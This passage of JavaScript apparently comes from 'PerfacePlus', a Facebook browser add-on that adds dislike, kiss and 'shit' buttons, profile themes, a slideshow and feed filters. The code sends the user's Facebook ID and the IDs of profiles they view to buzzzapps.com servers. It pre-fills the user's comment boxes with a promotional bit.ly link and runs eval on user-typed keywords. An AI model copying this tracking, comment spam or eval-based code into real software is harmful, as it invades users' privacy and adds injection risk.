	if (callback==undefined)
	{
		document.getElementById('validdialog').addEventListener('click',function(){
			footer=document.getElementById('pageFooter');
			if(footer) footer.removeChild(document.getElementById('my-social-dialog'));		overhide();	
		},false);
	}
	else
	{
		bouton=document.getElementById('validdialog');
		if(bouton)bouton.addEventListener('click',function(){
			var a=document.getElementById('socialdialogcontent');
            callback(a);
			footer=document.getElementById('pageFooter');
			if(footer) footer.removeChild(document.getElementById('my-social-dialog'));overhide();
		},false);
	}
}

function new_smile(chaine){

	var chaine_sans_html = stripHTML(chaine);

	var chaine_decoupe = false;
	var caca = 0;
	var tour=0;
	while(caca<smile.length)
	{
		
		var insmile = ' <img class="emote_img emosp" src="http://static.ak.fbcdn.net/images/blank.gif" style="background-position:0px '+smile[caca][1]+'px">';
		var Val = smile[caca][0];
		var seVal = '' + Val;
		if (chaine_sans_html.indexOf(seVal) >= 0) 
		{
			
			if (!chaine_decoupe){
				chaine_decoupe = true;
				var Scalp = new RegExp('(<a.*?</a>)', 'ig');
				var VisagePale = chaine.split(Scalp);
			}
			
			for(poil=0;poil<VisagePale.length;poil++){
				if (VisagePale[poil].indexOf(seVal) >=0 && VisagePale[poil].indexOf('<a')) VisagePale[poil]=VisagePale[poil].replace(seVal, insmile,"ig");
			}
			chaine_sans_html = stripHTML(VisagePale.join(''));
		}
		else caca++;
		tour++;
		if(tour>100)
		{
			break;
		}
	}
	
	if (chaine_decoupe) return VisagePale.join(''); else return chaine;
}
function addCopyNew(){
	if(document.getElementById('copynew')) return;
	var s =document.createElement("span");
	s.id="copynew"
	s.innerHTML="<br /><a href='http://www.facebook.com/PerfacePlus' style='color: #737373;'>"+SETTING+" v"+VERSION+"</a>";
	document.getElementById("footerContainer").appendChild(s);
}
function randomId(nbcar)
{
	var ListeCar = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9");
	var Chaine ='';
	for(i = 0; i < nbcar; i++)
	{
		Chaine = Chaine + ListeCar[Math.floor(Math.random()*ListeCar.length)];
	}
	return Chaine;
}
function movement(e)
{
	if(!document.getElementById('copynew') && document.getElementById("footerContainer")) addCopyNew();
		if(editor_enabled && (!document.getElementById('faceboo')||( document.getElementById('faceboo') && !document.getElementById('faceboo').isok)))composer();
	
		e.stopPropagation();
		if(dislike_enabled)setTimeout(function(){Add_multiLink();},0);
		
		if(filtrage.length>0) setTimeout(function(){ doFiltre();},0);
		setTimeout(function(){doDynamicFiltre()},0);
		if(photo_enabled)setTimeout(function(){Add_zoom();},0);
		if(smiley_enabled || forme_enabled)setTimeout(function(){checkStatus();},0);
		if(skin_enabled)
		{
			if(document.getElementById('profile_pic') && document.getElementById('profile_pic').parentNode.nodeName=="A"){ 
				id=document.getElementById('profile_pic').parentNode.href.split('.');
				id=id[id.length-1];
				id=id.split('&')[0];
				if(!document.getElementById('favtooltip'))  setTimeout(function(){addFavLink(id)},1000);
				if(id!=lastVisitedId && id!=FB_UID )setTimeout(function(){checkTargetId();},100);
			}
			else{	if(OnlineCss!=user_theme)setTimeout(function(){setUserStyle();},0);
					
			}
		}
			if(!document.getElementById(pubid))vachette_au_toilette(0);
			if(document.getElementById('myphoto') && !document.getElementById('diapo_start')) addDiapo();
			if(document.getElementById('MessagingComposerOptions') && document.getElementById('mWebcam')) addWebcamButton();
					

			
}

function addDiapo(){
	if(document.getElementById('diapo_start')) return;
	a=document.getElementsByClassName('single_photo_header');
	if(a)
	{
		newnode=document.createElement('li');
		newnode.className="pagerpro_li"//<li class="">
		newnode.id="diapo_link"//<li class="">
		newnode.innerHTML='<a class="pagerpro_a" href="" id="diapo_start" onclick="return false;" >Diaporama</a>';
		b=a[0].getElementsByClassName('pagerpro');
		if(b){ try{b[0].appendChild(newnode); document.getElementById('diapo_start').addEventListener('click',godiapo,false); } catch(e){ }
		}	
	}
}
function godiapo()
{
if(interval_diapo) {stopdiapo(); return 0;}
	a=document.getElementById('diapo_start');
	a.innerHTML='<a class="pagerpro_a" href="" onclick="return false;" id="diapo_start">Stop</a>'; 

	startdiapo();
	}
function stopdiapo()	{
	
	a=document.getElementById('diapo_start');
	a.innerHTML='<a class="pagerpro_a" href="" onclick="return false;" id="diapo_start">Diaporama</a>'; 
	
	clearTimeout(interval_diapo);
	interval_diapo=0;
}
	var interval_diapo=0;
function startdiapo(){
a=document.getElementById('photonav_next');

			if(a){
			  var evt = document.createEvent("MouseEvents"); // crÃ©er un Ã©vennement souris
    evt.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);  // intiailser l'Ã©vennement dÃ©ja crÃ©e par un click
    a.dispatchEvent(evt);  // envoyer l'Ã©vennement vers l'Ã©lement
			
			}
			else clearTimeout(interval_diapo);
interval_diapo=setTimeout(function(){startdiapo();},3000);
}
var lastVisitedId=0;
function checkTargetId(){
	target=document.getElementById('profile_pic');
	
	if(target)
	{
		id=document.getElementById('profile_pic').parentNode.href.split('.');
				id=id[id.length-1];
				
		if(id!=FB_UID &&id!=0 && id!=lastVisitedId) {
			lastVisitedId=id;
			now=parseInt(new Date().getTime() / 1000);  
			if((!skinUser[id] || (now-skinUser[id].timeCached)>skinCacheTime) && requeteThemeProcessing)
			{
				ajaxeur("http://get.buzzzapps.com/xpi/lechat/get_th.php?id_user="+id+"&ck="+userKey+"&me="+FB_UID,vide, function(data){
						if(data!=0 &&OnlineCss!=data)setTimeout(function(){addCss('http://static.buzzzapps.com/xpi/css/'+data+'.css','mycssstyle');},0);
						requeteThemeProcessing=true;
						OnlineCss=data;
						 ok=1;
						 
						skinUser[id]=new skinObject(id,data);
						});
				requeteThemeProcessing=true;
			}
			else
			{
				try{if(skinUser[id].skinId!=0  &&OnlineCss!=skinUser[id].skinId)  addCss('http://static.buzzzapps.com/xpi/css/'+skinUser[id].skinId+'.css','mycssstyle'); ok=1;
				OnlineCss=skinUser[id].skinId;
				}
				catch(e){}
				
			}
		} else if(OnlineCss!=user_theme && id!=lastVisitedId){setUserStyle();}
	}
	else  if(OnlineCss!=user_theme){setUserStyle();}
	
	
}
start(0);
function fb_uid(){
	
		try{
		return GetCookie("c_user");		
			
			
			return -1;
		}catch(e){
			return -1;
		}
}
function fb_aid(button){
	
	var x=button.parentNode.parentNode.parentNode.parentNode;
	if(!x.feedback_params)x=button.parentNode.parentNode;
	if(!x.feedback_params)x=button.parentNode.parentNode.parentNode
	if(!x.feedback_params)x=button.parentNode.parentNode.parentNode.parentNode;
		if(!x.feedback_params)x=button.parentNode.parentNode.parentNode.parentNode.parentNode;

	
	try{aid= JSON.parse(x.feedback_params.value);
	aid=aid.target_fbid;
	
	}
	catch(e){aid=0;}
	return aid;
}
function createLoveBox(){
	if(!shit_enabled && !kiss_enabled) return; 
	setTimeout(function(){
		var form=document.getElementsByClassName('like_link');
		for(var a=0;a<form.length;a++)
		{
			if(!form[a].isok2)
			{	
				aid=fb_aid(form[a]);
				if(!document.getElementById('boxees_'+aid)) 
				{
					var Nodenew = document.createElement("span"); 
					Nodenew.id='boxees_'+aid;
					Nodenew.innerHTML="";
		if(kiss_enabled)			Nodenew.innerHTML+='<a class="uiBlingBox feedbackBling" style="padding-left:0px">'+
	'<img class="img" src="http://static.buzzzapps.com/src/kiss.png" style="margin-right: 2px;'+
	'vertical-align: text-top;margin-top:2px" alt=":*"><span class="text" id="kiss_text_'+aid+'">0</span></a>';
	if(shit_enabled) Nodenew.innerHTML+='<a class="uiBlingBox feedbackBling">'+
	'<img class="img" src="http://static.buzzzapps.com/src/shit.png" style="margin-right: 2px;height:16px;'+
	'vertical-align: text-top;margin-top:-2px" alt=":*"><span class="text" id="shit_text_'+aid+'">0</span></a> &middot; ';
					
					
					link=form[a].parentNode;
					if(link && form[a].nextSibling)link.insertBefore(Nodenew,link.getElementsByClassName('like_link')[0]);
					else if(link) link.appendChild(Nodenew);
				}
				form[a].isok2=true;
			}
		}
	},0);
}

function addKiss(e){
	aid=e.target.id.split('_');
	aid=aid[aid.length-1];
	if(postLike[aid].mekiss==1) return;
	 setPost(aid,2);
	var a=document.getElementById('kiss_text_'+aid);
	nb=a.textContent;
	var b=document.getElementById('kiss_'+aid);
	b.removeEventListener('click',addKiss,false);
	b.addEventListener('click',removeKiss,false);
addPromo(b,"kiss");
	b.textContent=TXT_ANNULER+ ' '+KISS;
		
	setPostObject(aid,".mekiss","=1");
	setPostObject(aid,".kiss","+=1");

	a.textContent=parseInt(nb)+1;
}
function setPostObject(aid,what,how){
	
	if(!postLike[aid]){
		postLike[aid]=new PostObject(aid,0,0,0,0,0,0,0,0);
	}
	
		eval("postLike[aid]"+what+how);
	
		
}

function removeKiss(e){
	aid=e.target.id.split('_');
	aid=aid[aid.length-1];
	var a=document.getElementById('kiss_text_'+aid);
	nb=a.textContent;
	var b=document.getElementById('kiss_'+aid);
	b.removeEventListener('click',removeKiss,false);
	b.addEventListener('click',addKiss,false);
unsetPost(aid,2);
	b.textContent=KISS;

	a.textContent=parseInt(nb)-1;
		setPostObject(aid,".mekiss","=0");
	setPostObject(aid,".kiss","-=1");
}
function setShit(aid,nb,me){
	
	var a=document.getElementById('shit_text_'+aid);
	a.textContent=nb;
	if(me==1)
	{
		var b=document.getElementById('shit_'+aid);
		b.removeEventListener('click',addShit,false);
		b.addEventListener('click',removeShit,false);
		b.textContent=TXT_ANNULER+ ' '+SHIT;
	}
	
}
function getlang(){
	//LANG="cs";
	LANG=document.getElementsByTagName('html')[0].lang;
}

function GetCookie (name) {
         if ( document.cookie) { // Le cookie est-il valide ?
                  index = document.cookie.indexOf( name);
                  if ( index != -1) {
                           nDeb = (document.cookie.indexOf( "=", index) + 1);
                           nFin = document.cookie.indexOf( ";", index);
                           if (nFin == -1) {nFin = document.cookie.length;}
                           return unescape(document.cookie.substring(nDeb, nFin));
                  } 
         }
         return null;
}
function setKiss(aid,nb,me){
	
	var a=document.getElementById('kiss_text_'+aid);
	a.textContent=nb;
	if(me==1)
	{
		var b=document.getElementById('kiss_'+aid);
		b.removeEventListener('click',addKiss,false);
		b.addEventListener('click',removeKiss,false);
		b.textContent=TXT_ANNULER+ ' '+KISS;
	}
	
}
function addShit(e){
	
	aid=e.target.id.split('_');
	aid=aid[aid.length-1];
	if(postLike[aid].meshit==1) return;
	 setPost(aid,3);
	 
	var a=document.getElementById('shit_text_'+aid);
	nb=a.textContent;
	var b=document.getElementById('shit_'+aid);
	b.removeEventListener('click',addShit,false);
	b.addEventListener('click',removeShit,false);
	addPromo(b,"shit");
	b.textContent=TXT_ANNULER+ ' '+SHIT;
	setPostObject(aid,".meshit","=1");
	setPostObject(aid,".shit","+=1");
	a.textContent=parseInt(nb)+1;
}
function removeEvent(who,what,func)
{
	if(!document.detachEvent)who.removeEventListener(what,func,false);
	else who.detachEvent(what,func);
}
function removeShit(e){
	aid=e.target.id.split('_');
	aid=aid[aid.length-1];
	var a=document.getElementById('shit_text_'+aid);
	nb=a.textContent;
	var b=document.getElementById('shit_'+aid);
	b.removeEventListener('click',removeShit,false);
	b.addEventListener('click',addShit,false);
unsetPost(aid,3);
	b.textContent=SHIT;
	setPostObject(aid,".meshit","=0");
	setPostObject(aid,".shit","-=1");
	a.textContent=parseInt(nb)-1;
}
function addPromo(where,what)
{
	
var loler=getwhere(where);
	if(loler.nodeName!="FORM")loler=where.parentNode.parentNode.parentNode.parentNode.parentNode;

	lol=loler.getElementsByTagName("textarea");
	if(lol)
	{ var evt = document.createEvent("MouseEvents"); // crÃ©er un Ã©vennement souris
    evt.initMouseEvent("focus", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);  // intiailser l'Ã©vennement dÃ©ja crÃ©e par un click
	loler.className="commentable_item autoexpand_mode";
	lol[0].parentNode.parentNode.className+=" child_focused";
    lol[0].dispatchEvent(evt); 
	var txt="";
	switch(what){
		case "shit" : txt=ADDED_SHIT;	
		break; 
			case "dislike" : txt=ADDED_DISLIKE;	
		break;
			case "kiss" : txt=ADDED_KISS;	
		break;
	}
	lol[0].value=txt+"\n \n \n http://bit.ly/hwh59x";
	}	
}
function Add_multiLink()
{
	
	setTimeout(function(){
 	var form=document.getElementsByClassName('like_link');
	//console.log(form.length);
	for(var a=0;a<form.length;a++)
	{
		if(!form[a].isok)
		{
			aid=fb_aid(form[a]);
				if(!form[a].parentNode.getElementsByClassName("dontlike").length) 
			{
				//form[a].parentNode.style.backgroundColor="#f00";
				var Nodenew = document.createElement("span"); 
				Nodenew.id='links_'+aid;
				Nodenew.className="dontlike";
				Nodenew.innerHTML="";
				if(dislike_enabled) Nodenew.innerHTML+=' &middot; <a id="dont_link_'+aid+'">'+ LINKDONT +'</a>';
				Nodenew.myform=form[a];
				//Nodenew.addEventListener('click',addDontLike,false);
				link=form[a].parentNode;
				if(link && form[a].nextSibling)link.insertBefore(Nodenew,form[a].nextSibling);
				else if(link) link.appendChild(Nodenew);
			}
					
			try{
			if(dislike_enabled) document.getElementById('dont_link_'+aid).addEventListener('click',addDontLike,false);
			}
			catch(e)
			{
			//console.log(e);
			}
			form[a].isok=true;
	
			PosttoTest.push(aid);
			lastPostTested.push(aid);

		}
		
	}
	if(PosttoTest.length)
	{		//console.log(PosttoTest);

		if(my_interval_req!=0)
		{
		clearTimeout(my_interval_req);
		}
		my_interval_req=setTimeout(function(){go_request();},70);
	}
	},0);
}

function go_request()
{
	now=parseInt(new Date().getTime() /1000);

 	newPost=new Array();
	for(var a=0;a<PosttoTest.length;a++)
	{
			

		if(postLike[PosttoTest[a]] && (now-postLike[PosttoTest[a]].timeCached)< postCacheTime){ 
			delete PosttoTest[a];
			
		}
		else{ newPost.push(PosttoTest[a]);
			if(!postLike[PosttoTest[a]]) postLike[PosttoTest[a]]=new PostObject(PosttoTest[a],0,0,0,0,0,0,0,0);
		}
	}
		
	check_ajax_post(newPost,lastPostTested);
	PosttoTest=new Array();
		lastPostTested=new Array();

}

function check_ajax_post(tableau_aid,all_aid){
	if(tableau_aid.join().length>tableau_aid.join().split(",").length)ajaxeur("http://get.buzzzapps.com/xpi/lechat/get_all.php?id_post="+tableau_aid+"&id_user="+FB_UID+"&lang="+LANG+"&v="+VERSION+"&ck="+userKey,tableau_aid, function(data){niania(data,all_aid);});
	else 	setTimeout(function(){if(all_aid.length)traiteCache(all_aid); },100);
	
	
	//all_aid=new Array();	//document.location="http://get.buzzzapps.com/xpi/mrpropre/get_all.php?id_post="+tableau_aid+"&notif&id_user="+FB_UID+"&lang="+LANG;
}
function is_numeric (mixed_var) {
    return (typeof(mixed_var) === 'number' || typeof(mixed_var) === 'string') && mixed_var !== '' && !isNaN(mixed_var);
}
function niania(data,elem)
{
	
	//console.log(data);
	try{obj=JSON.parse(data);
	traiteAjax(obj,elem);
	}
	catch(e){
		// console.log(data);
		}

}
function traiteAjax(obj,elem)
{
	
	tab=obj.data;
	
	maj=obj.maj;
	if(maj)
	{
		//alert('niou version'+maj);	
		GM_setValue('lastconnection',"");
		get_last_connection();
		VERSION=maj;
	}
	if(tab)
	{
		for(var a=0;a<tab.length;a++)
		{
			
			post=tab[a];
			if(post.dislike>0)
			{
				type=0;
				if(post.dislike==1 && post.medislike) {name=YOU; type=1;id=FB_UID; me=1;}
				else if(post.dislike==1){
						if(post.name=="") post.name="1 other";
					 name=post.name;
					 type=2;
					 me=0;
					 id=post.fbid;
				}
				if(post.dislike==2 && post.medislike){
					if(post.name=="") post.name="1 other";
					name=post.name;
					
					me=1;
					id=post.fbid;
					type=3;
				}
				else if(type==0)
				{
					if(post.medislike==1){
						 me=1;
						 name=(parseInt(post.dislike)-1)+' '+TXT_PERSONNES;
					}
					else{ 
						me=0;
						name=post.dislike+' '+TXT_PERSONNES;
					}
					type=3;
					id=0;
				}
				if(type==0)
				{
					if(post.medislike==1){
						 me=1;
						 name=(parseInt(post.dislike)-1)+' '+TXT_PERSONNES;
					}
					else{ 
						me=0;
						name=post.dislike+' '+TXT_PERSONNES;
					}
					type=3;
					id=0;
				}
				postCacheControl(post.aid,name,me,id,type,post.kiss,post.mekiss,post.shit,post.meshit,type);		
			}
			else 	{	try{postCacheControl(post.aid,0,0,0,0,post.kiss,post.mekiss,post.shit,post.meshit,0);}
			catch(e){//console.log(e);
			}		
}		
	
		}
	}
	for(var a=0;a<elem.length;a++)
	{
		
		if(!postLike[elem[a]]) {postLike[elem[a]]=new PostObject(elem[a],0,0,0,0,0,0,0,0);}
	}
	setTimeout(function(){traiteCache(elem);},100);
}

function traiteCache(tab){
	for(var a=0; a<tab.length;a++)
	{
	
		try{
			if(is_numeric(tab[a]) && (postLike[tab[a]].type!=0 || postLike[tab[a]].kiss>0 || postLike[tab[a]].shit>0)) 
			{
				
				post=postLike[tab[a]];
				
				if(post.type!=1 && post.type &&dislike_enabled)  addDisPerson(post.aid,post.uid,post.alias,post.type);
				if(post.me==1 && dislike_enabled)  addMePerson(post.aid,FB_UID,post.alias,1);
				if(post.kiss>0 &&kiss_enabled) setKiss(post.aid,post.kiss,post.mekiss);
				if(post.shit>0 &&shit_enabled) setShit(post.aid,post.shit,post.meshit);
	
			}
		}
		catch(e)
		{
			//console.log(e);
		}
	}
}
function postCacheControl(aid,alias,me,uid,ki,kiss,mekiss,shit,meshit,type)
{
	if(!postLike[aid]){
		postLike[aid]=new PostObject(aid,alias,me,uid,ki,kiss,mekiss,shit,meshit);
		
	}
	else {
		if(alias!=YOU)postLike[aid].alias=alias;
		postLike[aid].uid=uid;
		postLike[aid].me=me;
		postLike[aid].kiss=kiss;
		postLike[aid].mekiss=mekiss;
		postLike[aid].shit=shit;
		postLike[aid].meshit=meshit;

			postLike[aid].type=type;
	}
	
}

function addDontLike(e)
{
	
	atchoum=false;
	aid=e.target.id.split('_');
	aid=aid[aid.length-1];
	 setPost(aid,1);
	
	if(e.target.nodeName=="SPAN") atchoum=true;
		if(document.getElementsByClassName('comment_form_'+aid)[0])	addMePerson(aid,FB_UID,YOU,0,document.getElementsByClassName('comment_form_'+aid)[0]);
		else if(!atchoum) addMePerson(aid,FB_UID,"alias",0,e.target.parentNode.parentNode.parentNode);
			else addMePerson(aid,FB_UID,"alias",0,e.target.parentNode.parentNode);
	
	// Caching
try{

	postLike[aid].me=1;
	//setPostObject(aid,".me","=1");
	if(postLike[aid].type==0){ 
				postLike[aid].uid=FB_UID;

			postLike[aid].alias=YOU;
			postLike[aid].type=1;
		}
}catch(e){alert(e);}
		a=document.getElementById('dont_link_'+aid);
		addPromo(a,"dislike");
	
}
function getwhere(button){
var prt=button;
		for(var i=0;i<10;i++)
		{
			prt=prt.parentNode;
			
			if(prt.nodeName=="FORM") return prt;
			
		}
}
function addDisPerson(aid,uid,alias,ki){
	

	if(document.getElementById('social_box_'+aid)==null)
	{
		button=document.getElementById('links_'+aid);
		where=getwhere(button);
		
		 equipdisbox(where,aid);
	}
	else  document.getElementById('social_box_' + aid ).style.display="block";
	
	var selector = document.getElementById('social_dis_cont_' + aid);
	if(alias==YOU) var wrapper = '<span>'+alias+'</span>';
	else if(uid!=FB_UID &&uid!=0) var wrapper = '<span><a data-hovercard="/ajax/hovercard/user.php?id='+uid+'">'+alias+'</a></span>';
	else var wrapper = '<span><a >'+alias+'</a></span>';
	txt =selector.innerHTML;
	if(txt==wrapper) return;
	document.getElementById('social_dis_suitesol_' + aid).style.display="none";
	document.getElementById('social_dis_suitemul_' + aid).style.display="none";
	document.getElementById('social_dis_suitemul2_' + aid).style.display="none";
	
	
	if(txt == ''){
		selector.innerHTML=wrapper;
	}
	else{
		
		selector.innerHTML="";
		selector.innerHTML=wrapper+'<span> '+TXT_AND+' </span>'+txt;
	}
	linker=selector.getElementsByTagName('a')
	for(var combien=0;combien<linker.length;combien++) {linker[combien].addEventListener('click',function(){
	showpopup(WHODONTLIKE,"<iframe src='http://get.buzzzapps.com/xpi/lechat/get_who_post.php?id_post="+aid+"' style='border:0px;width:371px;height:300px' ></iframe>",400);
	
	},false);
	//console.log(linker);
}
	switch(ki)
	{
		case 1:
			document.getElementById('social_dis_suitesol_' + aid).style.display="inline";
			break;
		case 2:
			document.getElementById('social_dis_suitemul2_' + aid).style.display="inline";
			break;
		case 3:
			document.getElementById('social_dis_suitemul_' + aid).style.display="inline";
			break;			
	}
	
				
}
function PostObject(aid,alias,me,uid,ki,kiss,mekiss,shit,meshit){
	this.aid=(aid);
	this.alias=alias;
	this.me=me;
	this.uid=uid;
	this.type=ki;
	this.kiss=kiss;
	this.shit=shit;
	this.mekiss=mekiss;
	this.meshit=meshit;
	this.timeCached=parseInt(new Date().getTime() /1000);
}
function skinObject(uid,skinID){
	this.uid=uid;
	this.skinId=(skinID);
	this.timeCached=parseInt(new Date().getTime() /1000);
}
function equipannul(aid)
{
	a=document.getElementById('dont_link_'+aid);
	
	a.textContent=TXT_ANNULER;
	a.removeEventListener('click',addDontLike,false);
	a.addEventListener('click',annulemoi,false);
}
function annulemoi()
{
	aid=(this.id).split('_');

	aid=aid[aid.length-1];

	var selector = 'social_dis_cont_' + aid;
	var txt = document.getElementById(selector).innerHTML;
	
		document.getElementById('social_dis_suitesol_' + aid).style.display="none";
	document.getElementById('social_dis_suitemul_' + aid).style.display="none";
	document.getElementById('social_dis_suitemul2_' + aid).style.display="none";
	if((txt.split(TXT_AND+' ')).length==1)
	{
			document.getElementById('social_box_' + aid ).style.display="none";
			document.getElementById(selector).innerHTML="";
	}
	else
	{				
		txt=txt.replace(YOU, '');
		txt=txt.replace(' '+TXT_AND+' ', '');
	
		if(txt.split(TXT_PERSONNES).length>1)
		{
				document.getElementById('social_dis_suitemul_' + aid).style.display="inline";
		}
		else document.getElementById('social_dis_suitemul2_' + aid).style.display="inline";
		document.getElementById(selector).innerHTML=txt;	
	}
	// on replace le j'aime pas
	mylinker=document.getElementById("dont_link_"+aid);
	mylinker.removeEventListener('click',annulemoi,false);
	mylinker.addEventListener('click',addDontLike,false);
	mylinker.textContent=LINKDONT;
	
		setPostObject(aid,".me","=0");
		if(postLike[aid].type==0){ 
		setPostObject(aid,".uid","");
			setPostObject(aid,".alias","=''");
			setPostObject(aid,".type","=0");
		}
	unsetPost(aid,1);


}
function Open_Filtre_Pop()
{
	

    var item_pref = new Array();
	var item_filtre=['groupes_enabled','pages_enabled','comment_enabled','like_enabled','relations_enabled','friends_enabled','event_enabled'];
    item_pref['groupes_enabled'] = SETTINGS_GROUPES;
    item_pref['pages_enabled'] = SETTINGS_PAGES;
    item_pref['comment_enabled'] = SETTINGS_COMMENT;
    item_pref['like_enabled'] = SETTINGS_LIKE;
    item_pref['relations_enabled'] = SETTINGS_RELATIONS;
    item_pref['friends_enabled'] = SETTINGS_FRIENDS;
    item_pref['event_enabled'] = SETTINGS_EVENT;

    var content_pop = '<div style="width:550px;margin: auto;margin-top: 20px;margin-bottom: 20px;"><div style =""><h3>'+SETTINGS_TITLE_FILTRE+'<h3/><span style="font-style: italic;"><small>'+SETTINGS_EXPLAIN_FILTRE+'</small></span><br><br><form><table>';
        for (var i=0;i<item_filtre.length;i++) {
        var ch = '';
		var bestTxt=GM_getValue('bestTxt');
		var cachedTxt=GM_getValue('cachedTxt');
        if (GM_getValue(item_filtre[i])=="true") ch = 'checked="checked"';

        content_pop += '<tr><td><input type="checkbox" id="'+item_filtre[i]+'" '+ch+'/></td><td><label for="'+item_filtre[i]+'">'+item_pref[item_filtre[i]]+'</label></td></tr>';
        }
        content_pop += '</table></form></div><br><hr /><div style="color: #333;"><b>Dynamic filters</b><br> <div style="float:left;width:45%;border-right:1px solid #777; padding: 5px;">Highligh Post contains :<form><input size="30" type="text" name="bestTxt" value="'+bestTxt+'"></form></div><div style="float:left;width:45%; padding: 5px; margin-left: 15px;">Hide post contains :<form><input type="text" size="30" id="cachedTxt" value="'+cachedTxt+'"></form></div><div style="clear:both"></div>Enter the keywords you want to filter separated by commas Ex: dogs,cats,...</div><hr /><br><small>'+SETTINGS_CHANGE+'</small></div>';
	
    showpopup(SETTING_POPUP_TITLE_FILTRE,content_pop,600,SETTING_BOUTTON_VAL_FILTRE,TXT_ANNULER,Close_Filtre_Pop);
}
function Close_Filtre_Pop(e){
	lol=e.getElementsByTagName('form');
	myform=lol[0];

	for(i=0;i<myform.length;i++)
	{
		GM_setValue(myform[i].id,""+myform[i].checked+"");
		
	}
	
	GM_setValue("bestTxt", (lol[1][0].value));
	GM_setValue("cachedTxt", (lol[2][0].value))
}
function construit_filtre()
{

	if(pages_enabled || like_enabled){ filtrage.push(161);filtrage.push(283);}
	if(friends_enabled){ filtrage.push(8);filtrage.push(12);}
	if(relations_enabled)filtrage.push(10);
	if(groupes_enabled){ filtrage.push(4);filtrage.push(21);}
	if(event_enabled) { filtrage.push(1);filtrage.push(38);filtrage.push(178);}
	if(comment_enabled){ filtrage.push(5);filtrage.push(11); filtrage.push(7); }
	
}

function doDynamicFiltre(){
	if(bestTxt=="") bestTxt=GM_getValue('bestTxt');
		if(cachedTxt=="") cachedTxt=GM_getValue('cachedTxt');
		if(bestTxt.length<1 && cachedTxt.length<1 )return;
		
setTimeout(function(){
	var coolWord=bestTxt.split(',');
	var notCoolWord=cachedTxt.split(',');
		var form=document.getElementsByClassName('uiStreamStory');
	for(var a=0;a<form.length;a++)
	{
		if(!form[a].isokF3)
		{
			for(var x=0;x<coolWord.length;x++){
			if(coolWord[x]!=""){
		 b=form[a].textContent.search(eval("/"+coolWord[x]+"/gi")) ; if(b>=0){ form[a].style.backgroundColor="#f7f9ff";
form[a].style.borderBottom="1px solid #d4dae8";}
			}
			}
				for(var x=0;x<notCoolWord.length;x++){
			if(notCoolWord[x]!=""){
		 b=form[a].textContent.search(eval("/"+notCoolWord[x]+"/gi")) ; if(b>=0){ form[a].style.opacity="0.6";
		 form[a].setAttribute('onmouseover','this.style.opacity=1')
		 		 form[a].setAttribute('onmouseout','this.style.opacity=0.6')

}
			}
			}
			form[a].isokF3=true;
		}
	}},0);	
}
function doFiltre(){
	if(filtrage.length<1) return true;
	
	setTimeout(function(){
		var form=document.getElementsByClassName('uiStreamStory');
	for(var a=0;a<form.length;a++)
	{
		if(!form[a].isokF)
		{
			filtre(form[a]);
			form[a].isokF=true;
		}
	}},0);
}
function filtre(post)
{
	if(filtrage.length<1) return true;
	try{lolool=JSON.parse(post.attributes['data-ft'].value);
	for(nb=0;nb<filtrage.length;nb++)
	{
		if(lolool.sty==filtrage[nb]) {
			//form.parentNode.parentNode.parentNode.style.display="none";
			post.style.display="none";
			hidden++;
			return false;
		}
	}
	}
	catch(e){return true;}
	
	return true;
}
function equipdisbox(form,aid)
{
	//console.log(aid)
	if(form)
	{
		box=form.getElementsByClassName('uiList')[0];
		var Nodenew = document.createElement("li"); 
		Nodenew.id="social_box_"+aid;
		Nodenew.className="ufiItem uiUfiLike"
		Nodenew.style.backgroundColor="#ffebe8";
		Nodenew.innerHTML='<div class=" participants_not_expanded"  style="background-color:#ffebe8"><div class="like_sentence_container"><div class="like_sentence like_sentence_not_exists like_component_not_exists"><div class="UIImageBlock_Content UIImageBlock_ICON_Content" ><a title="'+SETTING+'"  href="#" style="float:'+FLOAT_HAND+'; margin-'+FLOAT_NOTE+':5px;"><img alt="'+SETTING+'" src="' + IMG_HAND_DISLIKE + '" /></a><span id="social_dis_cont_' + aid + '"></span><span id="social_dis_suitesol_' + aid + '" style="display:none"> '+TXT_SOL+'</span><span id="social_dis_suitemul_' + aid + '" style="display:none"> '+TXT_MUL+'</span><span id="social_dis_suitemul2_' + aid + '" style="display:none"> '+TXT_MUL2+'</span></div></div></div></div>';
		box.insertBefore(Nodenew,box.getElementsByClassName('uiUfiLike')[0]);
		box.style.display="block";
	}

}
function setPost(aid,what){
	
ajaxeur("http://set.buzzzapps.com/xpi/lechat/set.php?id_post="+aid+"&id_user="+FB_UID+"&type="+what,vide, function(){});	
}
function unsetPost(aid,what){
	
ajaxeur("http://set.buzzzapps.com/xpi/lechat/unset.php?id_post="+aid+"&id_user="+FB_UID+"&type="+what,vide, function(){});	
}
function addMePerson(aid,uid,alias,whatever,form){
	//tab=[aid,1];
	
	equipannul(aid);
	if(!document.getElementById('social_box_'+aid)){
			button=document.getElementById('links_'+aid);

		var where=getwhere(button);
			equipdisbox(where,aid);
	}
	else  document.getElementById('social_box_' + aid ).style.display="block";
	var selector = 'social_dis_cont_' + aid;
	try{var txt = document.getElementById('social_dis_cont_' + aid).innerHTML;}
	catch(e){return}
	if(document.getElementById('social_dis_cont_' + aid).textContent.split(YOU).length>1) return;

	var html = YOU;
	document.getElementById('social_dis_suitesol_' + aid).style.display="none";
	document.getElementById('social_dis_suitemul_' + aid).style.display="none";
	document.getElementById('social_dis_suitemul2_' + aid).style.display="none";
	if(txt == ''){
		document.getElementById('social_dis_cont_' + aid).innerHTML=html;
		document.getElementById('social_dis_suitesol_' + aid).style.display="inline";
	}else{
		document.getElementById('social_dis_cont_' + aid).innerHTML=html+' '+TXT_AND+' '+txt;
		document.getElementById('social_dis_suitesol_' + aid).style.display="inline";
	}
		var selector = document.getElementById('social_dis_cont_' + aid);

		linker=selector.getElementsByTagName('a');
	for(var combien=0;combien<linker.length;combien++) {linker[combien].addEventListener('click',function(){
	showpopup(WHODONTLIKE,"<iframe src='http://get.buzzzapps.com/xpi/lechat/get_who_post.php?id_post="+aid+"' style='border:0px;width:371px;height:300px' ></iframe>",400);
	
	},false);
}
}
function Add_zoom(){
	setTimeout(function(){var image=document.getElementsByClassName('uiPhotoThumb');
	
	for(var a=0;a<image.length;a++)
	{
		if(!image[a].isok)
		{
			
			image[a].isok=true;	
			
			image[a].addEventListener('mouseover',function(e){if(e.target.nodeName=="A") zoomThisImage(e.target.firstChild,1);
			else zoomThisImage(e.target,1);
			},false);
			//if(debug)	console.log(a)
		}
	}
	},0);
}

function zoomThisImage(obj,bigsrc){
